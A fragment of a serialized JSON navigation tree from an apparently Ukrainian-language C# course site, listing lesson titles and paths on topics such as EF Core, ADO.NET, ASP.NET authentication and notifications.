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C#","\u002Fcsharp\u002Fadvanced-core\u002Fadditional-features","01.csharp\u002F03.advanced-core\u002F06.additional-features",{"title":121,"icon":122,"path":123,"stem":124,"children":125,"page":59},"Architecture Best Practices","i-lucide-building-2","\u002Fcsharp\u002Farchitecture-best-practices","01.csharp\u002F04.architecture-best-practices",[126,130,149,153,157,161,165,169],{"title":127,"path":128,"stem":129},"Software Design Principles (Частина 1)","\u002Fcsharp\u002Farchitecture-best-practices\u002Fsoftware-design-principles","01.csharp\u002F04.architecture-best-practices\u002F01.software-design-principles",{"title":131,"icon":132,"path":133,"stem":134,"children":135,"page":59},"Design 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Програмування","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-fundamentals","01.csharp\u002F07.system-programming-windows\u002F12.async-fundamentals",{"title":344,"path":345,"stem":346},"SynchronizationContext та ConfigureAwait — Контекст Виконання","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-context-configureawait","01.csharp\u002F07.system-programming-windows\u002F13.async-context-configureawait",{"title":348,"path":349,"stem":350},"Async — Просунуті Паттерни","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-advanced","01.csharp\u002F07.system-programming-windows\u002F14.async-advanced",{"title":352,"path":353,"stem":354},"System.Threading.Channels — Async Producer-Consumer","\u002Fcsharp\u002Fsystem-programming-windows\u002Fchannels","01.csharp\u002F07.system-programming-windows\u002F15.channels",{"title":356,"path":357,"stem":358},"Асинхронна Синхронізація","\u002Fcsharp\u002Fsystem-programming-windows\u002Fasync-synchronization","01.csharp\u002F07.system-programming-windows\u002F16.async-synchronization",{"title":360,"path":361,"stem":362},"Unsafe Code та Вказівники","\u002Fcsharp\u002Fsystem-programming-windows\u002Funsafe-code","01.csharp\u002F07.system-programming-windows\u002F17.unsafe-code",{"title":364,"path":365,"stem":366},"P\u002FInvoke та Windows API — Міст між .NET та Native Code","\u002Fcsharp\u002Fsystem-programming-windows\u002Fpinvoke-winapi","01.csharp\u002F07.system-programming-windows\u002F18.pinvoke-winapi",{"title":368,"path":369,"stem":370},"Реєстр Windows — Центральна База Конфігурації Системи","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-registry","01.csharp\u002F07.system-programming-windows\u002F19.windows-registry",{"title":372,"path":373,"stem":374},"Windows Hooks, Hotkeys та Services — Глибока Інтеграція з ОС","\u002Fcsharp\u002Fsystem-programming-windows\u002Fwindows-hooks-services","01.csharp\u002F07.system-programming-windows\u002F20.windows-hooks-services",{"title":376,"path":377,"stem":378},"Системне Програмування C# (Windows) — 07.system-programming-windows","\u002Fcsharp\u002Fsystem-programming-windows\u002Fimplementation_plan","01.csharp\u002F07.system-programming-windows\u002Fimplementation_plan",{"title":380,"icon":132,"path":381,"stem":382,"children":383,"page":59},"Io","\u002Fcsharp\u002Fio","01.csharp\u002F08.io",[384,388,392,396,400],{"title":385,"path":386,"stem":387},"8.1.1. Основи роботи з файловою системою","\u002Fcsharp\u002Fio\u002Ffile-system-basics","01.csharp\u002F08.io\u002F01.file-system-basics",{"title":389,"path":390,"stem":391},"8.1.2. Потоки (Streams) та Серіалізація Даних","\u002Fcsharp\u002Fio\u002Fstreams-serialization","01.csharp\u002F08.io\u002F02.streams-serialization",{"title":393,"path":394,"stem":395},"8.2.1. JSON Serialization з System.Text.Json","\u002Fcsharp\u002Fio\u002Fjson-serialization","01.csharp\u002F08.io\u002F03.json-serialization",{"title":397,"path":398,"stem":399},"8.2.2. XML Serialization та LINQ to XML","\u002Fcsharp\u002Fio\u002Fxml-serialization","01.csharp\u002F08.io\u002F04.xml-serialization",{"title":401,"path":402,"stem":403},"8.2.3. Binary Serialization: MessagePack та Protocol Buffers","\u002Fcsharp\u002Fio\u002Fbinary-serialization","01.csharp\u002F08.io\u002F05.binary-serialization",{"title":405,"icon":132,"path":406,"stem":407,"children":408,"page":59},"Ado Net","\u002Fcsharp\u002Fado-net","01.csharp\u002F09.ado-net",[409,413,417,421,425,429,433,437,441,445,449,453],{"title":410,"path":411,"stem":412},"9.1. Введення в ADO.NET","\u002Fcsharp\u002Fado-net\u002Fintroduction-to-adonet","01.csharp\u002F09.ado-net\u002F01.introduction-to-adonet",{"title":414,"path":415,"stem":416},"9.2. Клас DbConnection — з'єднання з базою даних","\u002Fcsharp\u002Fado-net\u002Fconnection","01.csharp\u002F09.ado-net\u002F02.connection",{"title":418,"path":419,"stem":420},"9.3. Клас DbCommand — виконання SQL-запитів","\u002Fcsharp\u002Fado-net\u002Fcommand-and-queries","01.csharp\u002F09.ado-net\u002F03.command-and-queries",{"title":422,"path":423,"stem":424},"9.4. Клас DbDataReader — ефективне читання даних","\u002Fcsharp\u002Fado-net\u002Fdatareader","01.csharp\u002F09.ado-net\u002F04.datareader",{"title":426,"path":427,"stem":428},"9.5. Параметризовані запити та захист від SQL Injection","\u002Fcsharp\u002Fado-net\u002Fparameters-and-sql-injection","01.csharp\u002F09.ado-net\u002F05.parameters-and-sql-injection",{"title":430,"path":431,"stem":432},"9.6. Транзакції в ADO.NET","\u002Fcsharp\u002Fado-net\u002Ftransactions","01.csharp\u002F09.ado-net\u002F06.transactions",{"title":434,"path":435,"stem":436},"9.7. DbProviderFactory — провайдер-незалежний код","\u002Fcsharp\u002Fado-net\u002Fprovider-factory","01.csharp\u002F09.ado-net\u002F07.provider-factory",{"title":438,"path":439,"stem":440},"9.8. Асинхронний доступ до даних","\u002Fcsharp\u002Fado-net\u002Fasync-data-access","01.csharp\u002F09.ado-net\u002F08.async-data-access",{"title":442,"path":443,"stem":444},"9.9. Від'єднаний режим: DataSet, DataTable, DataRow","\u002Fcsharp\u002Fado-net\u002Fdisconnected-mode-dataset","01.csharp\u002F09.ado-net\u002F09.disconnected-mode-dataset",{"title":446,"path":447,"stem":448},"9.10. DataAdapter — міст між DataSet та базою даних","\u002Fcsharp\u002Fado-net\u002Fdata-adapter","01.csharp\u002F09.ado-net\u002F10.data-adapter",{"title":450,"path":451,"stem":452},"9.11. Data Mapper та Repository: Архітектура доступу до даних","\u002Fcsharp\u002Fado-net\u002Fdata-mapper-repository","01.csharp\u002F09.ado-net\u002F11.data-mapper-repository",{"title":454,"path":455,"stem":456},"9.12. Identity Map, Unit of Work та Specification Pattern","\u002Fcsharp\u002Fado-net\u002Fadvanced-patterns","01.csharp\u002F09.ado-net\u002F12.advanced-patterns",{"title":458,"icon":255,"path":459,"stem":460,"children":461,"page":59},"Ef Core","\u002Fcsharp\u002Fef-core","01.csharp\u002F10.ef-core",[462,466,470,474,478,482,486,490,494,498,502,506,510,514,518,522,526,532,538,542,546,550,554,558,562,566,570,574,578,582,586,590,594,598,602,606,610,614,618,622,626,630,634,638,642,646],{"title":463,"path":464,"stem":465},"Що таке ORM? Від SQL до об'єктів","\u002Fcsharp\u002Fef-core\u002Fwhat-is-orm","01.csharp\u002F10.ef-core\u002F01.what-is-orm",{"title":467,"path":468,"stem":469},"Перший проєкт — від нуля до CRUD","\u002Fcsharp\u002Fef-core\u002Ffirst-project","01.csharp\u002F10.ef-core\u002F02.first-project",{"title":471,"path":472,"stem":473},"DbContext — Серце EF Core","\u002Fcsharp\u002Fef-core\u002Fdbcontext-deep-dive","01.csharp\u002F10.ef-core\u002F03.dbcontext-deep-dive",{"title":475,"path":476,"stem":477},"Провайдери баз даних — Архітектура та Вибір СУБД","\u002Fcsharp\u002Fef-core\u002Fdatabase-providers","01.csharp\u002F10.ef-core\u002F04.database-providers",{"title":479,"path":480,"stem":481},"Конвенції EF Core — Магія без конфігурації","\u002Fcsharp\u002Fef-core\u002Fconventions","01.csharp\u002F10.ef-core\u002F05.conventions",{"title":483,"path":484,"stem":485},"Fluent API та Data Annotations — Явна конфігурація моделі","\u002Fcsharp\u002Fef-core\u002Ffluent-api-vs-annotations","01.csharp\u002F10.ef-core\u002F06.fluent-api-vs-annotations",{"title":487,"path":488,"stem":489},"Зв'язки — One-to-One та One-to-Many","\u002Fcsharp\u002Fef-core\u002Frelationships-basics","01.csharp\u002F10.ef-core\u002F07.relationships-basics",{"title":491,"path":492,"stem":493},"Зв'язки Advanced — Many-to-Many та Складні Сценарії","\u002Fcsharp\u002Fef-core\u002Frelationships-advanced","01.csharp\u002F10.ef-core\u002F08.relationships-advanced",{"title":495,"path":496,"stem":497},"Властивості — Типи, Конвертери, Компаратори (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part1","01.csharp\u002F10.ef-core\u002F09.property-configuration-part1",{"title":499,"path":500,"stem":501},"Властивості — Value Comparers, Generators, Shadow Properties (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fproperty-configuration-part2","01.csharp\u002F10.ef-core\u002F09.property-configuration-part2",{"title":503,"path":504,"stem":505},"Складні типи — Owned Types та Complex Types (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part1","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part1",{"title":507,"path":508,"stem":509},"Складні типи — Complex Types, Keyless Entities, Порівняння (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fcomplex-types-owned-part2","01.csharp\u002F10.ef-core\u002F10.complex-types-owned-part2",{"title":511,"path":512,"stem":513},"JSON Columns — Складні дані у JSON (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part1","01.csharp\u002F10.ef-core\u002F11.json-columns-part1",{"title":515,"path":516,"stem":517},"JSON Columns — Value Comparers, Індекси, Провайдери (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fjson-columns-part2","01.csharp\u002F10.ef-core\u002F11.json-columns-part2",{"title":519,"path":520,"stem":521},"Успадкування — Абстрактні класи та TPH (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finheritance-part1","01.csharp\u002F10.ef-core\u002F12.inheritance-part1",{"title":523,"path":524,"stem":525},"Успадкування — TPT, TPC та Порівняння Стратегій (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finheritance-part2","01.csharp\u002F10.ef-core\u002F12.inheritance-part2",{"title":527,"path":528,"stem":529,"children":530},"Індекси, Обмеження та Схема (Частина 1)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part1","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part1",[531],{"title":527,"path":528,"stem":529},{"title":533,"path":534,"stem":535,"children":536},"Індекси, Обмеження та Схема (Частина 2)","\u002Fcsharp\u002Fef-core\u002Findexes-constraints-part2","01.csharp\u002F10.ef-core\u002F13.indexes-constraints-part2",[537],{"title":533,"path":534,"stem":535},{"title":539,"path":540,"stem":541},"Seed Data — Початкові Дані (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fseeding-part1","01.csharp\u002F10.ef-core\u002F14.seeding-part1",{"title":543,"path":544,"stem":545},"Seed Data — SQL-скрипти, Bogus та Стратегії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fseeding-part2","01.csharp\u002F10.ef-core\u002F14.seeding-part2",{"title":547,"path":548,"stem":549},"Global Query Filters — Глобальні Фільтри (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part1","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part1",{"title":551,"path":552,"stem":553},"Global Query Filters — Підводні камені та Інтеграція (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fglobal-query-filters-part2","01.csharp\u002F10.ef-core\u002F15.global-query-filters-part2",{"title":555,"path":556,"stem":557},"LINQ-запити в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part1","01.csharp\u002F10.ef-core\u002F16.linq-queries-part1",{"title":559,"path":560,"stem":561},"LINQ-запити в EF Core (Частина 2)","\u002Fcsharp\u002Fef-core\u002Flinq-queries-part2","01.csharp\u002F10.ef-core\u002F16.linq-queries-part2",{"title":563,"path":564,"stem":565},"Завантаження Пов'язаних Даних (Частина 1)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part1","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part1",{"title":567,"path":568,"stem":569},"Завантаження Пов'язаних Даних (Частина 2)","\u002Fcsharp\u002Fef-core\u002Floading-related-data-part2","01.csharp\u002F10.ef-core\u002F17.loading-related-data-part2",{"title":571,"path":572,"stem":573},"Raw SQL, Views та Stored Procedures (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part1","01.csharp\u002F10.ef-core\u002F18.raw-sql-part1",{"title":575,"path":576,"stem":577},"Raw SQL — Stored Procedures, DbFunction та Bulk Operations (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fraw-sql-part2","01.csharp\u002F10.ef-core\u002F18.raw-sql-part2",{"title":579,"path":580,"stem":581},"Продвинуті Запити — Compiled Queries, Bulk та Оптимізація (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part1","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part1",{"title":583,"path":584,"stem":585},"Продвинуті Запити — Query Tags, Bulk та Interceptors (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fadvanced-queries-part2","01.csharp\u002F10.ef-core\u002F19.advanced-queries-part2",{"title":587,"path":588,"stem":589},"Change Tracker — Відстеження Змін (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part1","01.csharp\u002F10.ef-core\u002F20.change-tracking-part1",{"title":591,"path":592,"stem":593},"Change Tracker — Графи Об'єктів та Disconnected (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fchange-tracking-part2","01.csharp\u002F10.ef-core\u002F20.change-tracking-part2",{"title":595,"path":596,"stem":597},"Збереження Даних та Транзакції (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part1","01.csharp\u002F10.ef-core\u002F21.saving-data-part1",{"title":599,"path":600,"stem":601},"Збереження Даних — Concurrency та Outbox (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fsaving-data-part2","01.csharp\u002F10.ef-core\u002F21.saving-data-part2",{"title":603,"path":604,"stem":605},"Конкурентність та Блокування (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part1","01.csharp\u002F10.ef-core\u002F22.concurrency-part1",{"title":607,"path":608,"stem":609},"Конкурентність — Дедлоки та Queue Processing (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fconcurrency-part2","01.csharp\u002F10.ef-core\u002F22.concurrency-part2",{"title":611,"path":612,"stem":613},"Міграції в EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part1","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part1",{"title":615,"path":616,"stem":617},"Міграції в EF Core — Основи (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-basics-part2","01.csharp\u002F10.ef-core\u002F23.migrations-basics-part2",{"title":619,"path":620,"stem":621},"Міграції — Просунуті Сценарії (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part1","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part1",{"title":623,"path":624,"stem":625},"Міграції — Просунуті Сценарії (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fmigrations-advanced-part2","01.csharp\u002F10.ef-core\u002F24.migrations-advanced-part2",{"title":627,"path":628,"stem":629},"Управління Схемою та Database-First (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part1","01.csharp\u002F10.ef-core\u002F25.schema-management-part1",{"title":631,"path":632,"stem":633},"Управління Схемою та Database-First (Частина 2)","\u002Fcsharp\u002Fef-core\u002Fschema-management-part2","01.csharp\u002F10.ef-core\u002F25.schema-management-part2",{"title":635,"path":636,"stem":637},"Продуктивність EF Core — Основи (Частина 1)","\u002Fcsharp\u002Fef-core\u002Fperformance-fundamentals-part1","01.csharp\u002F10.ef-core\u002F26.performance-fundamentals-part1",{"title":639,"path":640,"stem":641},"Interceptors в EF Core (Частина 1)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part1","01.csharp\u002F10.ef-core\u002F29.interceptors-part1",{"title":643,"path":644,"stem":645},"Interceptors в EF Core — Connection, Transaction та Materialization (Частина 2)","\u002Fcsharp\u002Fef-core\u002Finterceptors-part2","01.csharp\u002F10.ef-core\u002F29.interceptors-part2",{"title":647,"path":648,"stem":649},"План вивчення Entity Framework Core — Повний курс","\u002Fcsharp\u002Fef-core\u002Fimplementation_plan","01.csharp\u002F10.ef-core\u002Fimplementation_plan",{"title":651,"icon":652,"path":653,"stem":654,"children":655,"page":59},"ASP.NET","i-devicon-dotnetcore","\u002Fcsharp\u002Faspnet","01.csharp\u002F11.aspnet",[656,730,791,869,927,941,967,1057,1111,1182,1212,1289,1346],{"title":657,"icon":658,"path":659,"stem":660,"children":661,"page":59},"Minimal API","i-lucide-network","\u002Fcsharp\u002Faspnet\u002Fminimal-api","01.csharp\u002F11.aspnet\u002F01.minimal-api",[662,666,670,674,678,682,686,690,694,698,702,706,710,714,718,722,726],{"title":663,"path":664,"stem":665},"Вступ до ASP.NET та еволюція фреймворку","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fintroduction","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F01.introduction",{"title":667,"path":668,"stem":669},"Перший додаток на ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Ffirst-application","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F02.first-application",{"title":671,"path":672,"stem":673},"WebApplication, Builder та Dependency Injection","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fwebapplication-builder","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F03.webapplication-builder",{"title":675,"path":676,"stem":677},"Конвеєр запитів та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frequest-pipeline-middleware","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F04.request-pipeline-middleware",{"title":679,"path":680,"stem":681},"Маршрутизація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F05.routing-basics",{"title":683,"path":684,"stem":685},"Маршрутизація в ASP.NET Core: Розширені можливості","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Frouting-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F06.routing-advanced",{"title":687,"path":688,"stem":689},"Статичні файли в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-files","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F07.static-files",{"title":691,"path":692,"stem":693},"Статичні Активи: MapStaticAssets (ASP.NET Core 9.0)","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstatic-assets","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F08.static-assets",{"title":695,"path":696,"stem":697},"Конфігурація в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-fundamentals","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F09.configuration-fundamentals",{"title":699,"path":700,"stem":701},"Конфігурація: Паттерн Options","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fconfiguration-options","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F10.configuration-options",{"title":703,"path":704,"stem":705},"Логування в ASP.NET Core: Основи","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-basics","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F11.logging-basics",{"title":707,"path":708,"stem":709},"Логування: Serilog та Middleware","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Flogging-advanced","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F12.logging-advanced",{"title":711,"path":712,"stem":713},"Управління станом: HttpContext.Items та Cookies","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fstate-management","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F13.state-management",{"title":715,"path":716,"stem":717},"Стан сесії: Sessions","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fsession-state","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F14.session-state",{"title":719,"path":720,"stem":721},"Структура проєкту: від хаосу до архітектури","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fproject-structure","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F15.project-structure",{"title":723,"path":724,"stem":725},"Scalar у Minimal API: повний проєкт і Fluent OpenAPI","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fscalar-openapi-fluent","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F16.scalar-openapi-fluent",{"title":727,"path":728,"stem":729},"Swagger \u002F Swashbuckle у Minimal API: окремий класичний шлях","\u002Fcsharp\u002Faspnet\u002Fminimal-api\u002Fswagger-swashbuckle","01.csharp\u002F11.aspnet\u002F01.minimal-api\u002F17.swagger-swashbuckle",{"title":731,"icon":658,"path":732,"stem":733,"children":734,"page":59},"API","\u002Fcsharp\u002Faspnet\u002Fapi","01.csharp\u002F11.aspnet\u002F02.api",[735,739,743,747,751,755,759,763,767,771,775,779,783,787],{"title":736,"path":737,"stem":738},"Що таке API. Клієнт-серверна архітектура","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fwhat-is-api","01.csharp\u002F11.aspnet\u002F02.api\u002F01.what-is-api",{"title":740,"path":741,"stem":742},"Формати даних: JSON, XML, TOML та бінарні формати","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fdata-formats","01.csharp\u002F11.aspnet\u002F02.api\u002F02.data-formats",{"title":744,"path":745,"stem":746},"Парадигми API та концепція REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-paradigms-rest","01.csharp\u002F11.aspnet\u002F02.api\u002F03.api-paradigms-rest",{"title":748,"path":749,"stem":750},"HTTP-методи, статус-коди та заголовки","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fhttp-methods-status-codes","01.csharp\u002F11.aspnet\u002F02.api\u002F04.http-methods-status-codes",{"title":752,"path":753,"stem":754},"Організація HTTP API за принципами REST","\u002Fcsharp\u002Faspnet\u002Fapi\u002Frest-organizing","01.csharp\u002F11.aspnet\u002F02.api\u002F05.rest-organizing",{"title":756,"path":757,"stem":758},"Номенклатура URL та CRUD-операції","\u002Fcsharp\u002Faspnet\u002Fapi\u002Furl-nomenclature-crud","01.csharp\u002F11.aspnet\u002F02.api\u002F06.url-nomenclature-crud",{"title":760,"path":761,"stem":762},"Правила дизайну: іменування та стандарти","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-naming","01.csharp\u002F11.aspnet\u002F02.api\u002F07.api-design-naming",{"title":764,"path":765,"stem":766},"Валідація, ліміти та обробка помилок","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-validation","01.csharp\u002F11.aspnet\u002F02.api\u002F08.api-design-validation",{"title":768,"path":769,"stem":770},"Обробка помилок у Minimal API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Ferror-handling-http","01.csharp\u002F11.aspnet\u002F02.api\u002F09.error-handling-http",{"title":772,"path":773,"stem":774},"Ідемпотентність та синхронізація стану","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fidempotency-sync","01.csharp\u002F11.aspnet\u002F02.api\u002F10.idempotency-sync",{"title":776,"path":777,"stem":778},"Пагінація та організація списків","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fpagination-lists","01.csharp\u002F11.aspnet\u002F02.api\u002F11.pagination-lists",{"title":780,"path":781,"stem":782},"Безпека API, кешування та інтернаціоналізація","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fsecurity-auth","01.csharp\u002F11.aspnet\u002F02.api\u002F12.security-auth",{"title":784,"path":785,"stem":786},"Процес проєктування API та документування","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fapi-design-process","01.csharp\u002F11.aspnet\u002F02.api\u002F13.api-design-process",{"title":788,"path":789,"stem":790},"OpenAPI: контракт, специфікація та документація API","\u002Fcsharp\u002Faspnet\u002Fapi\u002Fopenapi","01.csharp\u002F11.aspnet\u002F02.api\u002F14.openapi",{"title":792,"icon":793,"path":794,"stem":795,"children":796,"page":59},"Auth","i-lucide-shield-check","\u002Fcsharp\u002Faspnet\u002Fauth","01.csharp\u002F11.aspnet\u002F03.auth",[797,801,805,809,813,817,821,825,829,833,837,841,845,849,853,857,861,865],{"title":798,"path":799,"stem":800},"Основи аутентифікації та авторизації","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauth-fundamentals","01.csharp\u002F11.aspnet\u002F03.auth\u002F01.auth-fundamentals",{"title":802,"path":803,"stem":804},"JWT-аутентифікація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fjwt-authentication","01.csharp\u002F11.aspnet\u002F03.auth\u002F02.jwt-authentication",{"title":806,"path":807,"stem":808},"Авторизація: ролі, політики та resource-based доступ","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fauthorization-policies","01.csharp\u002F11.aspnet\u002F03.auth\u002F03.authorization-policies",{"title":810,"path":811,"stem":812},"Cookie-аутентифікація та ASP.NET Core Identity","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcookie-auth-identity","01.csharp\u002F11.aspnet\u002F03.auth\u002F04.cookie-auth-identity",{"title":814,"path":815,"stem":816},"JWT + Refresh Tokens (HttpOnly Cookie)","\u002Fcsharp\u002Faspnet\u002Fauth\u002F04b.identity-auth-jwt","01.csharp\u002F11.aspnet\u002F03.auth\u002F04b.identity-auth-jwt",{"title":818,"path":819,"stem":820},"Identity: Підтвердження Email та Скидання Пароля","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-email-confirmation","01.csharp\u002F11.aspnet\u002F03.auth\u002F05.identity-email-confirmation",{"title":822,"path":823,"stem":824},"Identity: Двофакторна Аутентифікація (2FA)","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-two-factor","01.csharp\u002F11.aspnet\u002F03.auth\u002F06.identity-two-factor",{"title":826,"path":827,"stem":828},"Identity: Внутрішня Архітектура та Кастомізація","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fidentity-internals","01.csharp\u002F11.aspnet\u002F03.auth\u002F07.identity-internals",{"title":830,"path":831,"stem":832},"OAuth 2.0 та зовнішні провайдери","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-external-providers","01.csharp\u002F11.aspnet\u002F03.auth\u002F08.oauth-external-providers",{"title":834,"path":835,"stem":836},"Безпека на практиці: CORS, HTTPS та захист від атак","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fsecurity-hardening","01.csharp\u002F11.aspnet\u002F03.auth\u002F09.security-hardening",{"title":838,"path":839,"stem":840},"Теорія OAuth 2.0: Поняття, Аналогії та Флоу","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foauth-theory","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oauth-theory",{"title":842,"path":843,"stem":844},"OIDC, OAuth 2.0 та Keycloak в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Foidc-keycloak","01.csharp\u002F11.aspnet\u002F03.auth\u002F10.oidc-keycloak",{"title":846,"path":847,"stem":848},"API Keys аутентифікація в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fapi-keys","01.csharp\u002F11.aspnet\u002F03.auth\u002F11.api-keys",{"title":850,"path":851,"stem":852},"Rate Limiting та Throttling в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frate-limiting","01.csharp\u002F11.aspnet\u002F03.auth\u002F12.rate-limiting",{"title":854,"path":855,"stem":856},"Refresh Token Rotation в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frefresh-token-rotation","01.csharp\u002F11.aspnet\u002F03.auth\u002F13.refresh-token-rotation",{"title":858,"path":859,"stem":860},"Certificate Authentication та mTLS в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fcertificate-auth","01.csharp\u002F11.aspnet\u002F03.auth\u002F14.certificate-auth",{"title":862,"path":863,"stem":864},"RBAC, ABAC та ReBAC в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Frbac-abac-rebac","01.csharp\u002F11.aspnet\u002F03.auth\u002F15.rbac-abac-rebac",{"title":866,"path":867,"stem":868},"Multi-tenancy та ізоляція даних в ASP.NET Core","\u002Fcsharp\u002Faspnet\u002Fauth\u002Fmulti-tenancy","01.csharp\u002F11.aspnet\u002F03.auth\u002F16.multi-tenancy",{"title":870,"icon":871,"path":872,"stem":873,"children":874,"page":59},"Нотифікації","i-lucide-bell","\u002Fcsharp\u002Faspnet\u002Fnotifications","01.csharp\u002F11.aspnet\u002F04.notifications",[875,879,883,887,891,895,899,903,907,911,915,919,923],{"title":876,"path":877,"stem":878},"In-App нотифікації через базу даних","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fin-app-database-notifications","01.csharp\u002F11.aspnet\u002F04.notifications\u002F01.in-app-database-notifications",{"title":880,"path":881,"stem":882},"Polling: Регулярний запит оновлень","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fpolling","01.csharp\u002F11.aspnet\u002F04.notifications\u002F02.polling",{"title":884,"path":885,"stem":886},"Server-Sent Events: Однострімовий push від сервера","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fserver-sent-events","01.csharp\u002F11.aspnet\u002F04.notifications\u002F03.server-sent-events",{"title":888,"path":889,"stem":890},"WebSockets: Двостороннє з'єднання в реальному часі","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fwebsockets","01.csharp\u002F11.aspnet\u002F04.notifications\u002F04.websockets",{"title":892,"path":893,"stem":894},"SignalR: Абстракція над транспортами реального часу","\u002Fcsharp\u002Faspnet\u002Fnotifications\u002Fsignalr","01.csharp\u002F11.aspnet\u002F04.notifications\u002F05.signalr",{"title":896,"path":897,"stem":898},"Background Services: Фонові задачі в ASP.NET 